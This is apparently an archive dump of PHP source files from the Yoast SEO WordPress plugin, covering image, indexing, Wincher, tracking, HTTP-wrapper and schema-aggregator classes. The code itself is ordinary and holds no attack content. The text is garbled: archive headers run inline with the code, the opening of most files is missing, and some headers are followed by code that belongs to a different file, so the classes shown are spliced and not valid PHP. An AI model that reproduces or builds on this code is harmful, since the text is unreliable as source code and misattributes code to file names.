WPSEO_Image_Utils::get_image( $attachment_id, $size ); } /** * Retrieves the best attachment variation for the given attachment. * * @codeCoverageIgnore - We have to write test when this method contains own code. * * @param int $attachment_id The attachment id. * * @return bool|string The attachment url or false when no variations found. */ public function get_best_attachment_variation( $attachment_id ) { $variations = WPSEO_Image_Utils::get_variations( $attachment_id ); $variations = WPSEO_Image_Utils::filter_usable_file_size( $variations ); // If we are left without variations, there is no valid variation for this attachment. if ( empty( $variations ) ) { return false; } // The variations are ordered so the first variations is by definition the best one. return \reset( $variations ); } /** * Find an attachment ID for a given URL. * * @param string $url The URL to find the attachment for. * @param bool $use_link_table Whether the SEO Links table will be used to retrieve the id. * * @return int The found attachment ID, or 0 if none was found. */ public function get_attachment_by_url( $url, $use_link_table = true ) { // Don't try to do this for external URLs. $parsed_url = \wp_parse_url( $url ); if ( $this->url_helper->get_link_type( $parsed_url ) === SEO_Links::TYPE_EXTERNAL ) { return 0; } /** The `wpseo_force_creating_and_using_attachment_indexables` filter is documented in indexable-link-builder.php */ if ( ! $this->options_helper->get( 'disable-attachment' ) || \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false ) ) { // Strip out the size part of an image URL. $url = \preg_replace( '/(.*)-\d+x\d+\.(jpeg|jpg|png|gif)$/', '$1.$2', $url ); $indexable = $this->indexable_repository->find_by_permalink( $url ); if ( $indexable && $indexable->object_type === 'post' && $indexable->object_sub_type === 'attachment' ) { return $indexable->object_id; } $post_id = WPSEO_Image_Utils::get_attachment_by_url( $url ); if ( $post_id !== 0 ) { // Find the indexable, this triggers creating it so it can be found next time. $this->indexable_repository->find_by_id_and_type( $post_id, 'post' ); } return $post_id; } if ( ! $use_link_table ) { return WPSEO_Image_Utils::get_attachment_by_url( $url ); } $cache_key = 'attachment_seo_link_object_' . \md5( $url ); $found = false; $link = \wp_cache_get( $cache_key, 'yoast-seo-attachment-link', false, $found ); if ( $found === false ) { $link = $this->seo_links_repository->find_one_by_url( $url ); \wp_cache_set( $cache_key, $link, 'yoast-seo-attachment-link', \MINUTE_IN_SECONDS ); } if ( ! \is_a( $link, SEO_Links::class ) ) { return WPSEO_Image_Utils::get_attachment_by_url( $url ); } return $link->target_post_id; } /** * Retrieves an attachment ID for an image uploaded in the settings. * * Due to self::get_attachment_by_url returning 0 instead of false. * 0 is also a possibility when no ID is available. * * @codeCoverageIgnore - We have to write test when this method contains own code. * * @param string $setting The setting the image is stored in. * * @return int|bool The attachment id, or false or 0 if no ID is available. */ public function get_attachment_id_from_settings( $setting ) { return WPSEO_Image_Utils::get_attachment_id_from_settings( $setting ); } /** * Based on and image ID return array with the best variation of that image. If it's not saved to the DB, save it * to an option. * * @param string $setting The setting name. Should be company or person. * * @return array|bool Array with image details when the image is found, boolean when it's not found. */ public function get_attachment_meta_from_settings( $setting ) { $image_meta = $this->options_helper->get( $setting . '_meta', false ); if ( ! $image_meta ) { $image_id = $this->options_helper->get( $setting . '_id', false ); if ( $image_id ) { // There is not an option to put a URL in an image field in the settings anymore, only to upload it through the media manager. // This means an attachment always exists, so doing this is only needed once. $image_meta = $this->get_best_attachment_variation( $image_id ); if ( $image_meta ) { $this->options_helper->set( $setting . '_meta', $image_meta ); } } } return $image_meta; } /** * Retrieves the first usable content image for a post. * * @codeCoverageIgnore - We have to write test when this method contains own code. * * @param int $post_id The post id to extract the images from. * * @return string|null */ protected function get_first_usable_content_image_for_post( $post_id ) { return WPSEO_Image_Utils::get_first_usable_content_image_for_post( $post_id ); } /** * Gets the term's first usable content image. Null if none is available. * * @codeCoverageIgnore - We have to write test when this method contains own code. * * @param int $term_id The term id. * * @return string|null The image URL. */ protected function get_first_content_image_for_term( $term_id ) { return WPSEO_Image_Utils::get_first_content_image_for_term( $term_id ); } } helpers/curl-helper.php000064400000001217152076255200011146 0ustar00options = $options; } /** * Checks if the integration should be active for the current user. * * @return bool Whether the integration is active. */ public function is_active() { $conditional = new Non_Multisite_Conditional(); if ( ! $conditional->is_met() ) { return false; } if ( ! \current_user_can( 'publish_posts' ) && ! \current_user_can( 'publish_pages' ) ) { return false; } return (bool) $this->options->get( 'wincher_integration_active', true ); } /** * Checks if the user is logged in to Wincher. * * @return bool The Wincher login status. */ public function login_status() { try { $wincher = \YoastSEO()->classes->get( Wincher_Client::class ); } catch ( Empty_Property_Exception $e ) { // Return false if token is malformed (empty property). return false; } // Get token (and refresh it if it's expired). try { $wincher->get_tokens(); } catch ( Authentication_Failed_Exception $e ) { return false; } catch ( Empty_Token_Exception $e ) { return false; } return $wincher->has_valid_tokens(); } /** * Returns the Wincher links that can be used to localize the global admin * script. Mainly exists to avoid duplicating these links in multiple places * around the code base. * * @return string[] */ public function get_admin_global_links() { return [ 'links.wincher.login' => 'https://app.wincher.com/login?utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast', 'links.wincher.about' => WPSEO_Shortlinker::get( 'https://yoa.st/dashboard-about-wincher' ), 'links.wincher.pricing' => WPSEO_Shortlinker::get( 'https://yoa.st/wincher-popup-pricing' ), 'links.wincher.website' => WPSEO_Shortlinker::get( 'https://yoa.st/wincher-popup' ), 'links.wincher.upgrade' => WPSEO_Shortlinker::get( 'https://yoa.st/wincher-upgrade' ), ]; } } helpers/meta-helper.php000064400000005646152076255200011141 0ustar00hierarchical; } } helpers/home-url-helper.php000064400000001251152076255200011727 0ustar00get() ); return static::$parsed_home_url; } } helpers/open-graph/values-helper.php000064400000005134152076255210013543 0ustar00url = $url; $this->image = $image; } /** * Determines whether the passed URL is considered valid. * * @deprecated 22.4 * @codeCoverageIgnore * * @param array> $image The image array. * * @return bool Whether or not the URL is a valid image. */ public function is_image_url_valid( array $image ) { \_deprecated_function( __METHOD__, 'Yoast SEO 22.4' ); if ( empty( $image['url'] ) || ! \is_string( $image['url'] ) ) { return false; } $image_extension = $this->url->get_extension_from_url( $image['url'] ); $is_valid = $this->image->is_extension_valid( $image_extension ); /** * Filter: 'wpseo_opengraph_is_valid_image_url' - Allows extra validation for an image url. * * @param bool $is_valid Current validation result. * @param string $url The image url to validate. */ return (bool) \apply_filters( 'wpseo_opengraph_is_valid_image_url', $is_valid, $image['url'] ); } /** * Retrieves the overridden image size value. * * @return string|null The image size when overriden by filter or null when not. */ public function get_override_image_size() { /** * Filter: 'wpseo_opengraph_image_size' - Allow overriding the image size used * for Open Graph sharing. If this filter is used, the defined size will always be * used for the og:image. The image will still be rejected if it is too small. * * Only use this filter if you manually want to determine the best image size * for the `og:image` tag. * * Use the `wpseo_image_sizes` filter if you want to use our logic. That filter * can be used to add an image size that needs to be taken into consideration * within our own logic. * * @param string|false $size Size string. */ return \apply_filters( 'wpseo_opengraph_image_size', null ); } /** * Retrieves the image data by a given attachment id. * * @param int $attachment_id The attachment id. * * @return array|false The image data when found, `false` when not. */ public function get_image_by_id( $attachment_id ) { if ( ! $this->image->is_valid_attachment( $attachment_id ) ) { return false; } $override_image_size = $this->get_override_image_size(); if ( $override_image_size ) { return $this->image->get_image( $attachment_id, $override_image_size ); } return $this->image->get_best_attachment_variation( $attachment_id ); } } helpers/indexing-helper.php000064400000031300152076255210012003 0ustar00options_helper = $options_helper; $this->date_helper = $date_helper; $this->notification_center = $notification_center; } /** * Sets the actions. * * @required * * @param Indexable_Post_Indexation_Action $post_indexation The post indexing action. * @param Indexable_Term_Indexation_Action $term_indexation The term indexing action. * @param Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation The posttype indexing action. * @param Indexable_General_Indexation_Action $general_indexation The general indexing (homepage etc) action. * @param Post_Link_Indexing_Action $post_link_indexing_action The post crosslink indexing action. * @param Term_Link_Indexing_Action $term_link_indexing_action The term crossling indexing action. * * @return void */ public function set_indexing_actions( Indexable_Post_Indexation_Action $post_indexation, Indexable_Term_Indexation_Action $term_indexation, Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation, Indexable_General_Indexation_Action $general_indexation, Post_Link_Indexing_Action $post_link_indexing_action, Term_Link_Indexing_Action $term_link_indexing_action ) { $this->indexing_actions = [ $post_indexation, $term_indexation, $post_type_archive_indexation, $general_indexation, $post_link_indexing_action, $term_link_indexing_action, ]; // Coincidentally, the background indexing actions are the same with the Free indexing actions for now. $this->background_indexing_actions = $this->indexing_actions; } /** * Sets the indexable repository for the indexing helper class. * * @required * * @param Indexable_Repository $indexable_repository The indexable repository. * * @return void */ public function set_indexable_repository( Indexable_Repository $indexable_repository ) { $this->indexable_repository = $indexable_repository; } /** * Prepares the indexing process by setting several database options and removing the indexing notification. * * @return void */ public function prepare() { $this->set_first_time( false ); $this->set_started( $this->date_helper->current_time() ); $this->remove_indexing_notification(); // Do not set_reason here; if the process is cancelled, the reason to start indexing is still valid. } /** * Sets several database options when the indexing process is finished. * * @return void */ public function complete() { $this->set_reason( '' ); $this->set_started( null ); } /** * Sets appropriate flags when the indexing process fails. * * @return void */ public function indexing_failed() { $this->set_reason( Indexing_Reasons::REASON_INDEXING_FAILED ); $this->set_started( null ); } /** * Sets the indexing reason. * * @param string $reason The indexing reason. * * @return void */ public function set_reason( $reason ) { $this->options_helper->set( 'indexing_reason', $reason ); $this->remove_indexing_notification(); } /** * Removes any pre-existing notification, so that a new notification (with a possible new reason) can be added. * * @return void */ protected function remove_indexing_notification() { $this->notification_center->remove_notification_by_id( Indexing_Notification_Integration::NOTIFICATION_ID, ); } /** * Determines whether an indexing reason has been set in the options. * * @return bool Whether an indexing reason has been set in the options. */ public function has_reason() { $reason = $this->get_reason(); return ! empty( $reason ); } /** * Returns the indexing reason. The reason why the site-wide indexing process should be run. * * @return string The indexing reason, defaults to the empty string if no reason has been set. */ public function get_reason() { return $this->options_helper->get( 'indexing_reason', '' ); } /** * Sets the start time when the indexing process has started but not completed. * * @param int|bool $timestamp The start time when the indexing process has started but not completed, false otherwise. * * @return void */ public function set_started( $timestamp ) { $this->options_helper->set( 'indexing_started', $timestamp ); } /** * Gets the start time when the indexing process has started but not completed. * * @return int|bool The start time when the indexing process has started but not completed, false otherwise. */ public function get_started() { return $this->options_helper->get( 'indexing_started' ); } /** * Sets a boolean that indicates whether or not a site still has to be indexed for the first time. * * @param bool $is_first_time_indexing Whether or not a site still has to be indexed for the first time. * * @return void */ public function set_first_time( $is_first_time_indexing ) { $this->options_helper->set( 'indexing_first_time', $is_first_time_indexing ); } /** * Gets a boolean that indicates whether or not the site still has to be indexed for the first time. * * @return bool Whether the site still has to be indexed for the first time. */ public function is_initial_indexing() { return $this->options_helper->get( 'indexing_first_time', true ); } /** * Gets a boolean that indicates whether or not the indexing of the indexables has completed. * * @return bool Whether the indexing of the indexables has completed. */ public function is_finished_indexables_indexing() { return $this->options_helper->get( 'indexables_indexing_completed', false ); } /** * Returns the total number of unindexed objects. * * @return int The total number of unindexed objects. */ public function get_unindexed_count() { $unindexed_count = 0; foreach ( $this->indexing_actions as $indexing_action ) { $unindexed_count += $indexing_action->get_total_unindexed(); } return $unindexed_count; } /** * Returns the amount of un-indexed posts expressed in percentage, which will be needed to set a threshold. * * @param int $unindexed_count The number of unindexed objects. * * @return int The amount of unindexed posts expressed in percentage. */ public function get_unindexed_percentage( $unindexed_count ) { // Gets the amount of indexed objects in the site. $indexed_count = $this->indexable_repository->get_total_number_of_indexables(); // The total amount of objects in the site. $total_objects_count = ( $indexed_count + $unindexed_count ); return ( ( $unindexed_count / $total_objects_count ) * 100 ); } /** * Returns whether the SEO optimization button should show. * * @return bool Whether the SEO optimization button should show. */ public function should_show_optimization_button() { // Gets the amount of unindexed objects in the site. $unindexed_count = $this->get_filtered_unindexed_count(); // If the amount of unidexed posts is <10 don't show configuration button. if ( $unindexed_count <= 10 ) { return false; } // If the amount of unidexed posts is >10, but the total amount of unidexed posts is ≤4% of the total amount of objects in the site, don't show configuration button. if ( $this->get_unindexed_percentage( $unindexed_count ) <= 4 ) { return false; } return true; } /** * Returns the total number of unindexed objects and applies a filter for third party integrations. * * @return int The total number of unindexed objects. */ public function get_filtered_unindexed_count() { $unindexed_count = $this->get_unindexed_count(); /** * Filter: 'wpseo_indexing_get_unindexed_count' - Allow changing the amount of unindexed objects. * * @param int $unindexed_count The amount of unindexed objects. */ return \apply_filters( 'wpseo_indexing_get_unindexed_count', $unindexed_count ); } /** * Returns a limited number of unindexed objects. * * @param int $limit Limit the number of unindexed objects that are counted. * @param Indexation_Action_Interface[]|Limited_Indexing_Action_Interface[] $actions The actions whose counts will be calculated. * * @return int The total number of unindexed objects. */ public function get_limited_unindexed_count( $limit, $actions = [] ) { $unindexed_count = 0; if ( empty( $actions ) ) { $actions = $this->indexing_actions; } foreach ( $actions as $action ) { $unindexed_count += $action->get_limited_unindexed_count( $limit - $unindexed_count + 1 ); if ( $unindexed_count > $limit ) { return $unindexed_count; } } return $unindexed_count; } /** * Returns the total number of unindexed objects and applies a filter for third party integrations. * * @param int $limit Limit the number of unindexed objects that are counted. * * @return int The total number of unindexed objects. */ public function get_limited_filtered_unindexed_count( $limit ) { $unindexed_count = $this->get_limited_unindexed_count( $limit, $this->indexing_actions ); if ( $unindexed_count > $limit ) { return $unindexed_count; } /** * Filter: 'wpseo_indexing_get_limited_unindexed_count' - Allow changing the amount of unindexed objects, * and allow for a maximum number of items counted to improve performance. * * @param int $unindexed_count The amount of unindexed objects. * @param int|false $limit Limit the number of unindexed objects that need to be counted. * False if it doesn't need to be limited. */ return \apply_filters( 'wpseo_indexing_get_limited_unindexed_count', $unindexed_count, $limit ); } /** * Returns the total number of unindexed objects that can be indexed in the background and applies a filter for third party integrations. * * @param int $limit Limit the number of unindexed objects that are counted. * * @return int The total number of unindexed objects that can be indexed in the background. */ public function get_limited_filtered_unindexed_count_background( $limit ) { $unindexed_count = $this->get_limited_unindexed_count( $limit, $this->background_indexing_actions ); if ( $unindexed_count > $limit ) { return $unindexed_count; } /** * Filter: 'wpseo_indexing_get_limited_unindexed_count_background' - Allow changing the amount of unindexed objects that can be indexed in the background, * and allow for a maximum number of items counted to improve performance. * * @param int $unindexed_count The amount of unindexed objects. * @param int|false $limit Limit the number of unindexed objects that need to be counted. * False if it doesn't need to be limited. */ return \apply_filters( 'wpseo_indexing_get_limited_unindexed_count_background', $unindexed_count, $limit ); } } tracking/domain/exceptions/invalid-tracked-action-exception.php000064400000000673152076255210021032 0ustar00options_helper = $options_helper; } /** * Stores the version the user was on when an action was first performed. * * @param string $action_to_track The action to track. * * @return void */ public function track_version_for_performed_action( string $action_to_track ): void { $this->options_helper->set( $action_to_track, \WPSEO_VERSION ); } } tracking/infrastructure/tracking-on-page-load-integration.php000064400000005315152076255210020534 0ustar00action_tracker = $action_tracker; $this->capability_helper = $capability_helper; $this->options_helper = $options_helper; } /** * Returns the needed conditionals. * * @return array The conditionals that must be met to load this. */ public static function get_conditionals(): array { return [ Admin_Conditional::class, ]; } /** * Registers action hook. * * @return void */ public function register_hooks(): void { \add_action( 'admin_init', [ $this, 'store_version_on_page_load' ] ); } /** * Stores the current version for the tracking option taken from the URL. * * @return void */ public function store_version_on_page_load() { if ( ! isset( $_GET['wpseo_tracked_action'] ) || ! \is_string( $_GET['wpseo_tracked_action'] ) ) { return; } if ( $this->capability_helper->current_user_can( 'wpseo_manage_options' ) !== true ) { return; } if ( ! isset( $_GET['wpseo_tracking_nonce'] ) || ! \wp_verify_nonce( \sanitize_text_field( \wp_unslash( $_GET['wpseo_tracking_nonce'] ) ), 'wpseo_tracking_nonce' ) ) { return; } $action_to_track = \sanitize_text_field( \wp_unslash( $_GET['wpseo_tracked_action'] ) ); // Verify that the option to store is one of our tracking options. if ( ! \in_array( $action_to_track, $this->options_helper->get_tracking_only_options(), true ) ) { return; } $this->action_tracker->track_version_for_performed_action( $action_to_track ); } } tracking/infrastructure/tracking-link-adapter.php000064400000001202152076255210016312 0ustar00 'task_first_actioned_on', 'wpseo_tracking_nonce' => \wp_create_nonce( 'wpseo_tracking_nonce' ), ], $url, ); } } tracking/user-interface/action-tracking-route.php000064400000006652152076255220016223 0ustar00action_tracker = $action_tracker; $this->capability_helper = $capability_helper; $this->options_helper = $options_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ [ 'methods' => 'POST', 'callback' => [ $this, 'track_action' ], 'permission_callback' => [ $this, 'check_capabilities' ], 'args' => [ 'action' => [ 'required' => true, 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', ], ], ], ], ); } /** * Tracks an action. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response|WP_Error The success or failure response. * * @throws Invalid_Tracked_Action_Exception When the given action is invalid. */ public function track_action( WP_REST_Request $request ): WP_REST_Response { $action_to_track = $request->get_param( 'action' ); try { if ( ! \in_array( $action_to_track, $this->options_helper->get_tracking_only_options(), true ) ) { throw new Invalid_Tracked_Action_Exception(); } $this->action_tracker->track_version_for_performed_action( $action_to_track ); } catch ( Exception $exception ) { return new WP_REST_Response( [ 'success' => false, 'error' => $exception->getMessage(), ], $exception->getCode(), ); } return new WP_REST_Response( [ 'success' => true, 'action' => $action_to_track, ], 200, ); } /** * Checks if the current user has the required capabilities. * * @return bool */ public function check_capabilities() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } } wrappers/wp-rewrite-wrapper.php000064400000000444152076255220012713 0ustar00getHeaders() as $name => $values ) { $headers[ $name ] = \implode( ',', $values ); } $args = [ 'method' => $request->getMethod(), 'headers' => $headers, 'body' => (string) $request->getBody(), 'httpVersion' => $request->getProtocolVersion(), ]; if ( isset( $options['verify'] ) && $options['verify'] === false ) { $args['sslverify'] = false; } if ( isset( $options['timeout'] ) ) { $args['timeout'] = ( $options['timeout'] * 1000 ); } $raw_response = \wp_remote_request( (string) $request->getUri(), $args ); if ( \is_wp_error( $raw_response ) ) { $exception = new Exception( $raw_response->get_error_message() ); return new RejectedPromise( $exception ); } $response = new Response( $raw_response['response']['code'], $raw_response['headers']->getAll(), $raw_response['body'], $args['httpVersion'], $raw_response['response']['message'], ); return new FulfilledPromise( $response ); } } schema-aggregator/domain/schema-piece.php000064400000003012152076255220014431 0ustar00 */ private $type; /** * The data of the schema piece. * * @var array */ private $data; /** * Class constructor. * * @param array $data The data of the schema piece. * @param string|array $type The type of the schema piece. */ public function __construct( array $data, $type ) { $this->data = $data; $this->type = $type; } /** * Gets the type of the schema piece. * * @return string|array The type(s) of the schema piece. */ public function get_type() { return $this->type; } /** * Gets the data of the schema piece. * * @return array The data of the schema piece. */ public function get_data(): array { return $this->data; } /** * Gets the ID of the schema piece. * * @return string|null The ID of the schema piece, or null if not set. */ public function get_id(): ?string { return ( $this->data['@id'] ?? null ); } /** * Converts multiple schema pieces to a JSON-LD-encoded graph. * * @return array The JSON-LD graph representation. */ public function to_json_ld_graph(): array { return [ '@graph' => $this->data, ]; } } schema-aggregator/domain/current-site-url-provider-interface.php000064400000000654152076255220021131 0ustar00 */ private array $indexable_counts; /** * Constructor. */ public function __construct() { $this->indexable_counts = []; } /** * Adds an Indexable_Count object to the collection. * * @param Indexable_Count $indexable_count The Indexable_Count object to add. * @return void */ public function add_indexable_count( Indexable_Count $indexable_count ): void { $this->indexable_counts[] = $indexable_count; } /** * Gets all indexable counts. * * @return array The array of Indexable_Count objects. */ public function get_indexable_counts(): array { return $this->indexable_counts; } } schema-aggregator/domain/indexable-count.php000064400000001724152076255230015200 0ustar00post_type = $post_type; $this->count = $count; } /** * Gets the count of indexables. * * @return int The count of indexables. */ public function get_count(): int { return $this->count; } /** * Gets the post type. * * @return string The post type. */ public function get_post_type(): string { return $this->post_type; } } schema-aggregator/domain/external-schema-piece-repository-interface.php000064400000001600152076255230022426 0ustar00> The schema pieces (always an array, may be empty). */ public function collect( int $post_id ): array; } schema-aggregator/domain/schema-piece-collection.php000064400000001701152076255230016566 0ustar00 */ private $pieces = []; /** * Class constructor. * * @param array $pieces Optional array of Schema_Piece objects. */ public function __construct( array $pieces = [] ) { foreach ( $pieces as $piece ) { $this->add( $piece ); } } /** * Adds a schema piece to the collection. * * @param Schema_Piece $piece The schema piece to add. * * @return void */ public function add( Schema_Piece $piece ): void { $this->pieces[] = $piece; } /** * Gets all schema pieces as an array. * * @return array The schema pieces. */ public function to_array(): array { return $this->pieces; } } schema-aggregator/domain/page-controls.php000064400000002163152076255230014672 0ustar00page = $page; $this->page_size = $page_size; $this->post_type = $post_type; } /** * Gets the current page. * * @return int */ public function get_page(): int { return $this->page; } /** * Gets the page size. * * @return int */ public function get_page_size(): int { return $this->page_size; } /** * Gets the post type. * * @return string */ public function get_post_type(): string { return $this->post_type; } } schema-aggregator/domain/schema-piece-repository-interface.php000064400000001155152076255230020613 0ustar00schema_piece_repository = $schema_piece_repository; $this->schema_piece_aggregator = $schema_piece_aggregator; $this->schema_response_composer = $schema_response_composer; } /** * Handles the Aggregate_Site_Schema_Command. * * @param Aggregate_Site_Schema_Command $command The command. * * @return array The aggregated schema. */ public function handle( Aggregate_Site_Schema_Command $command ): array { $schema_pieces = $this->schema_piece_repository->get( $command->get_page_controls()->get_page(), $command->get_page_controls()->get_page_size(), $command->get_page_controls()->get_post_type(), ); $aggregated_schema_pieces = $this->schema_piece_aggregator->aggregate( $schema_pieces ); return $this->schema_response_composer->compose( $aggregated_schema_pieces ); } } schema-aggregator/application/cache/manager.php000064400000012135152076255240015627 0ustar00config = $config; } /** * Get cached data for a page * * @param string $post_type The post type that the cache is for. * @param int $page Page number. * @param int $per_page Items per page. * * @return array|null Cached data or null. */ public function get( string $post_type, int $page, int $per_page ): ?array { try { if ( ! $this->config->cache_enabled() ) { return null; } if ( $page < 1 || $per_page < 1 ) { return null; } $key = $this->get_cache_key( $post_type, $page, $per_page ); $data = \get_transient( $key ); if ( $data === false ) { return null; } if ( ! \is_array( $data ) ) { \delete_transient( $key ); return null; } return $data; } catch ( Exception $e ) { return null; } } /** * Set cache data for a page * * @param string $post_type The post type that the cache is for. * @param int $page Page number. * @param int $per_page Items per page. * @param array $data Data to cache. * * @return bool Success. */ public function set( string $post_type, int $page, int $per_page, array $data ): bool { try { if ( $page < 1 || $per_page < 1 || empty( $data ) ) { return false; } $key = $this->get_cache_key( $post_type, $page, $per_page ); $expiration = $this->config->get_expiration( $data ); return \set_transient( $key, $data, $expiration ); } catch ( Exception $e ) { return false; } } /** * Invalidate cache for specific page/per_page combination or all pages * * Note: When invalidating a specific page without per_page, this clears * ALL per_page variations for that page using a wildcard pattern. * * @param string $post_type The post type that the cache is for. * @param int|null $page Page number or null for all. * @param int|null $per_page Items per page or null to clear all per_page variations. * * @return bool Success. */ public function invalidate( string $post_type, ?int $page = null, ?int $per_page = null ): bool { if ( $page !== null && $per_page !== null ) { // Clear specific page/per_page combination. return \delete_transient( $this->get_cache_key( $post_type, $page, $per_page ) ); } if ( $page !== null && $per_page === null ) { // Clear all per_page variations for this page. global $wpdb; if ( ! isset( $wpdb ) || ! \is_object( $wpdb ) ) { return false; } $pattern = '_transient_' . self::CACHE_PREFIX . '_page_' . $page . '_per_%'; $timeout_pattern = '_transient_timeout_' . self::CACHE_PREFIX . '_page_' . $page . '_per_%'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery $deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s OR option_name LIKE %s", $pattern, $timeout_pattern, ), ); return $deleted !== false; } return $this->invalidate_all(); } /** * Invalidate all cache pages * * @return bool Success. */ public function invalidate_all(): bool { try { global $wpdb; if ( ! isset( $wpdb ) || ! \is_object( $wpdb ) ) { return false; } // Pattern matches: yoast_schema__aggregator_page_{n}_per_{m}_v{version}. $pattern = '_transient_' . self::CACHE_PREFIX . '_page_%'; $timeout_pattern = '_transient_timeout_' . self::CACHE_PREFIX . '_page_%'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery $deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s OR option_name LIKE %s", $pattern, $timeout_pattern, ), ); if ( $deleted === false ) { return false; } return true; } catch ( Exception $e ) { return false; } } /** * Generate cache key for page. * * @param string $post_type The post type that the cache is for. * @param int $page Page number. * @param int $per_page Items per page. * * @return string Cache key. */ private function get_cache_key( string $post_type, int $page, int $per_page ): string { return \sprintf( '%s_page_%d_per_%d_type_%s_v%d', self::CACHE_PREFIX, $page, $per_page, $post_type, self::CACHE_VERSION, ); } } schema-aggregator/application/cache/xml-manager.php000064400000004160152076255240016424 0ustar00config = $config; } /** * Get cached data for a page. * * @return string|null Cached data or null. */ public function get(): ?string { try { if ( ! $this->config->cache_enabled() ) { return null; } $key = $this->get_cache_key(); $data = \get_transient( $key ); if ( $data === false ) { return null; } if ( ! \is_string( $data ) ) { \delete_transient( $key ); return null; } return $data; } catch ( Exception $e ) { return null; } } /** * Set cache data for a page. * * @param string $data Data to cache. * * @return bool Success. */ public function set( string $data ): bool { try { $key = $this->get_cache_key(); $expiration = $this->config->get_expiration( [ $data ] ); return \set_transient( $key, $data, $expiration ); } catch ( Exception $e ) { return false; } } /** * Invalidate cache for the xml sitemap. * * @return bool Success. */ public function invalidate(): bool { return \delete_transient( $this->get_cache_key() ); } /** * Generate cache key for page. * * @return string Cache key. */ private function get_cache_key(): string { return \sprintf( '%s_xml_sitemap_v%d', self::CACHE_PREFIX, self::CACHE_VERSION, ); } } schema-aggregator/application/schema_map/schema-map-xml-renderer.php000064400000004404152076255240021664 0ustar00config = $config; } /** * Converts the schema map to an XML string. * * @param array> $schema_map The schema map data. * * @return string The XML representation of the schema map. * * @throws RuntimeException If the input structure is invalid or XML generation fails. */ public function render( array $schema_map ): string { $dom = new DOMDocument( '1.0', 'UTF-8' ); $url_set = $dom->createElement( 'urlset' ); $url_set->setAttribute( 'xmlns', 'http://www.sitemaps.org/schemas/sitemap/0.9' ); $dom->appendChild( $url_set ); $change_freq = $this->config->get_changefreq(); $priority = $this->config->get_priority(); foreach ( $schema_map as $entry ) { if ( ! isset( $entry['url'] ) || ! isset( $entry['lastmod'] ) ) { continue; } $url = $dom->createElement( 'url' ); $url->setAttribute( 'contentType', 'structuredData/schema.org' ); $loc = $dom->createElement( 'loc' ); $loc->appendChild( $dom->createTextNode( $entry['url'] ) ); $url->appendChild( $loc ); $last_mod = $dom->createElement( 'lastmod' ); $last_mod->appendChild( $dom->createTextNode( $entry['lastmod'] ) ); $url->appendChild( $last_mod ); $cf = $dom->createElement( 'changefreq' ); $cf->appendChild( $dom->createTextNode( $change_freq ) ); $url->appendChild( $cf ); $prio = $dom->createElement( 'priority' ); $prio->appendChild( $dom->createTextNode( $priority ) ); $url->appendChild( $prio ); $url_set->appendChild( $url ); } $xml = $dom->saveXML(); if ( $xml === false ) { throw new RuntimeException( 'Failed to generate XML from DOMDocument' ); } return $xml; } } schema-aggregator/application/schema_map/schema-map-builder.php000064400000005761152076255240020715 0ustar00config = $config; } /** * Sets the schema map repository. * * @param Schema_Map_Repository_Interface $schema_map_repository The schema map repository. * * @return self */ public function with_repository( Schema_Map_Repository_Interface $schema_map_repository ): self { $this->schema_map_repository = $schema_map_repository; return $this; } /** * Builds the schema map based on indexable counts and threshold. * * @param Indexable_Count_Collection $indexable_counts The indexable counts per post type. * * @return array> The schema map. */ public function build( Indexable_Count_Collection $indexable_counts ): array { $schema_map = []; foreach ( $indexable_counts->get_indexable_counts() as $indexable_count ) { $post_type = $indexable_count->get_post_type(); $count = $indexable_count->get_count(); $threshold = $this->config->get_per_page( $post_type ); $total_pages = (int) \ceil( $count / $threshold ); for ( $page = 1; $page <= $total_pages; $page++ ) { if ( $page === 1 && $total_pages === 1 ) { $url = $this->get_rest_route( $post_type ); } elseif ( $page === 1 ) { $url = $this->get_rest_route( $post_type ); } else { $url = $this->get_rest_route( $post_type, $page ); } $lastmod = $this->schema_map_repository->get_lastmod_for_post_type( $post_type, $page, $threshold ); $page_count = ( $page === $total_pages ) ? ( $count - ( ( $page - 1 ) * $threshold ) ) : $threshold; $schema_map[] = [ 'post_type' => $post_type, 'url' => $url, 'lastmod' => $lastmod, 'count' => $page_count, ]; } } return $schema_map; } /** * Gets the REST route for the given post type and page. * * @param string $post_type The post type. * @param int $page The page number (default is 1). * * @return string The REST route URL. */ public function get_rest_route( $post_type, $page = 1 ): string { if ( $page === 1 ) { return \rest_url( Main::API_V1_NAMESPACE . '/schema-aggregator/get-schema/' . $post_type ); } else { return \rest_url( Main::API_V1_NAMESPACE . '/schema-aggregator/get-schema/' . $post_type . '/' . $page ); } } } schema-aggregator/application/aggregate-site-schema-map-command.php000064400000001414152076255240021465 0ustar00 */ private $post_types; /** * The constructor. * * @param array $post_types The post types to include in the schema map. */ public function __construct( array $post_types ) { $this->post_types = $post_types; } /** * Gets the post types to include in the schema map. * * @return array The post types. */ public function get_post_types(): array { return $this->post_types; } } schema-aggregator/application/meta/response-meta-provider.php000064400000006313152076255250020514 0ustar00schema_map_repository = $schema_map_repository; $this->schema_map_builder = $schema_map_builder; } /** * Build metadata structure for API response * * @param string $post_type The post type being queried. * @param int $page The page number (1-based). * @param int $page_size The number of items per page. * * @return array> Metadata structure. */ public function get_metadata( string $post_type, int $page, int $page_size ): array { $metadata = [ 'generator' => [ 'name' => 'Yoast NLWeb Integration', 'version' => \WPSEO_VERSION, 'vendor' => 'Yoast', 'url' => 'https://yoast.com', ], 'dependencies' => [ 'wordpress' => \function_exists( 'get_bloginfo' ) ? \get_bloginfo( 'version' ) : 'unknown', 'yoast_seo' => \WPSEO_VERSION, ], 'generated_at' => \gmdate( 'Y-m-d\TH:i:s\Z' ), ]; if ( \defined( 'WPSEO_WOO_VERSION' ) ) { $metadata['dependencies']['yoast_seo_woocommerce'] = 